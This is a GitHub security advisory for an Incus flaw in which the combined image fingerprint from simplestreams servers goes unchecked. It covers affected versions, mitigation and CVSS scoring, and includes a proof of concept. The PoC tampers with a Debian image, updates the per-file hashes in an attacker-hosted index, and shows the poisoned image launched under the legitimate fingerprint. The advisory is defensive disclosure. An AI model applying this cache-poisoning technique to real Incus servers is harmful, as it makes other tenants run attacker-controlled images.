Skip to content

Incus does not verify combined fingerprint when downloading images from simplestreams servers

High severity GitHub Reviewed Published Mar 26, 2026 in lxc/incus • Updated Mar 31, 2026

Package

gomod github.com/lxc/incus/v6/client (Go)

Affected versions

< 6.23.0

Patched versions

6.23.0

Description

Summary

A lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.

Details

Incus image fingerprints are computed as the SHA256 of the concatenated image files.
When downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.

This missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (restricted.image.server or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.

Such an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.

For this to be successful, the attacker requires:

  • Access to an Incus server
  • That server to NOT have been configured with restricted.image.servers or an equivalent firewall or HTTP proxy policy
  • Some ability to predict what image may be used by other users in the near future
  • Other users that are actively deploying new Incus instances on the system

Having to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.

An example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:

  • Monitor the legitimate image server for a new image being published
  • Immediately create a compromised image with the same fingerprint on an attacker controlled image server
  • Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image

But this again assumes an environment lacking either restricted.image.servers or equivalent firewall or proxy policies.

Mitigation

As mentioned above, any server using restricted.image.servers in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.

The updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.

PoC

To create a PoC, simply download https://images.linuxcontainers.org/streams/v1/{index,images}.json and https://images.linuxcontainers.org/images/DISTRO/RELEASE/ARCH/default/NEWEST/{incus.tar.xz,rootfs.squashfs} or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.

Then change the content of rootfs.squashfs by unsquashfs/mksquashfs, add one line in /root/.bashrc: echo 'PoC: hacked!', and then update corresponding sha256 and size fields for that individual file in images.json.

Using incus-simplestreams first and then altering the combined_xxx fields should also be OK.

After that, check the following commands:

$ incus remote add poc https://TESTSERVER:4443 --protocol simplestreams
$ incus remote list 
+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+
|      NAME       |                URL                 |   PROTOCOL    |  AUTH TYPE  | PUBLIC | STATIC | GLOBAL |
+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+
| images          | https://images.linuxcontainers.org | simplestreams | none        | YES    | NO     | NO     |
+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+
| local (current) | unix://                            | incus         | file access | NO     | YES    | NO     |
+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+
| poc             | https://TESTSERVER:4443             | simplestreams | none        | YES    | NO     | NO     |
+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+
$ incus image list 
+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+
$ incus image list images:debian/trixie -c lFpdasu
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
|              ALIAS               |                           FINGERPRINT                            | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   SIZE    |     UPLOAD DATE      |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13 (7 more)               | 8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 341.13MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13 (7 more)               | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 94.70MiB  | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/arm64 (3 more)         | 41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 339.27MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/arm64 (3 more)         | fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 92.25MiB  | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/armhf (3 more)         | 77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes    | Debian trixie armhf (20260320_05:24)   | armv7l       | 84.14MiB  | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud (3 more)         | 2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 130.17MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud (3 more)         | 108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 374.30MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud/arm64 (1 more)   | cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 126.78MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud/arm64 (1 more)   | ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 371.76MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud/armhf (1 more)   | 8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes    | Debian trixie armhf (20260320_05:24)   | armv7l       | 117.92MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/cloud/riscv64 (1 more) | dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes    | Debian trixie riscv64 (20260320_05:24) | riscv64      | 122.90MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
| debian/13/riscv64 (3 more)       | 1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes    | Debian trixie riscv64 (20260320_05:24) | riscv64      | 87.86MiB  | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+
$ incus image copy poc:debian/trixie local:
Image copied successfully!                   
$ incus image list -c lFpdasu
+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+
| ALIAS |                           FINGERPRINT                            | PUBLIC |             DESCRIPTION              | ARCHITECTURE |   SIZE    |     UPLOAD DATE      |
+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+
|       | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no     | Debian trixie amd64 (20260320_05:24) | x86_64       | 105.09MiB | 2026/03/21 00:55 CST |
+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+
$ incus launch images:debian/trixie
Launching the instance
Instance name is: star-mollusk                   
$ incus list 
+--------------+---------+------+------------------------------------------------+-----------+-----------+
|     NAME     |  STATE  | IPV4 |                      IPV6                      |   TYPE    | SNAPSHOTS |
+--------------+---------+------+------------------------------------------------+-----------+-----------+
| star-mollusk | RUNNING |      | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) | CONTAINER | 0         |
+--------------+---------+------+------------------------------------------------+-----------+-----------+
$ incus exec star-mollusk bash
PoC: hacked!
root@star-mollusk:~# 
exit
$ incus image export images:debian/trixie
Image exported successfully!                  
$ cat incus.tar.xz rootfs.squashfs | sha256sum
945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369  -
$ rm incus.tar.xz rootfs.squashfs
$ incus image export poc:debian/trixie
Image exported successfully!                   
$ cat incus.tar.xz rootfs.squashfs | sha256sum
d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -
$ rm incus.tar.xz rootfs.squashfs
$ incus image export local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
Error: Image fingerprint doesn't match. Got d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
$ incus image export poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
Image exported successfully!                   
$ cat incus.tar.xz rootfs.squashfs | sha256sum
d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -

References

@stgraber stgraber published to lxc/incus Mar 26, 2026
Published by the National Vulnerability Database Mar 26, 2026
Published to the GitHub Advisory Database Mar 27, 2026
Reviewed Mar 27, 2026
Last updated Mar 31, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:N/SC:H/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Certificate Validation

The product does not validate, or incorrectly validates, a certificate. Learn more on MITRE.

Improper Validation of Integrity Check Value

The product does not validate or incorrectly validates the integrity check values or checksums of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission. Learn more on MITRE.

CVE ID

CVE-2026-33542

GHSA ID

GHSA-p8mm-23gg-jc9r

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.